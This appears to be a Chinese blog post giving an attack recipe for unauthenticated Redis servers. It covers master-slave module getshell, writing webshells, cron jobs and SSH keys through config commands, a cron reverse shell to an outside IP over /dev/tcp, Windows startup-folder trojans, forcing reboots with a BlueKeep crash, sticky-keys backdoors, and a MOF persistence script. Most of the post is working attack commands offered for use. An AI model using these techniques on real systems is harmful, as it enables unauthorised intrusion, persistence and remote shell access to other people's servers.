redis漏洞利用

linux

未授权通常两种方式利用:
一、Redis版本在4.x、5.x上的主从getshell。
二、直接写入文件,写webshell、计划任务、ssh公钥。
主从getshell

cd RedisModulesSDK/
make
cd ../
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
image.png

写文件

config set dir /tmp/               //设置目录
config set dbfilename test.php     //设置文件名
set shell ""    //写入内容
save
//写计划任务
//Centos的定时任务文件在/var/spool/cron/
//Ubuntu定时任务文件在/var/spool/cron/crontabs/
config set dir /var/spool/cron/
config set dbfilename 'root'
set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.226.130/7891 0>&1\n\n"
save
//备注:
//debian,ubuntu反弹失败,他们对计划任务的格式很严格,需要执行crontab -u root /var/spool/cron/crontabs/root
//运行权限为非root权限,反弹shell也是低权限
image.png

window

思路:
直接写webshell(需要绝对路径)、写启动项(需要目标重启)、写dll、写mof(win2003)、写sethc.exe
写文件的脚本用的是https://github.com/r35tart/RedisWriteFile
0x01
目标为IIS服务器
默认路径为C:\inetpub\wwwroot

image.png

这个站刚写上txt成功访问了,然后6379就关了,捞的一。
0x02
写用户启动项
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
写一个马,如果目标开放了3389用0708打蓝屏等他重启
0x03
写黏贴键
image.png

把sethc.exe替换为cmd.exe。利用,要能够进入远程桌面界面,如果显示如下的话需要使用旧版的mstsc
image.png

0x04
写mof,
image.png

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping 7ps0jk.dnslog.cn \")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

参考文章
https://xz.aliyun.com/t/8153#toc-1
https://xz.aliyun.com/t/7940#toc-6

你可能感兴趣的:(redis漏洞利用)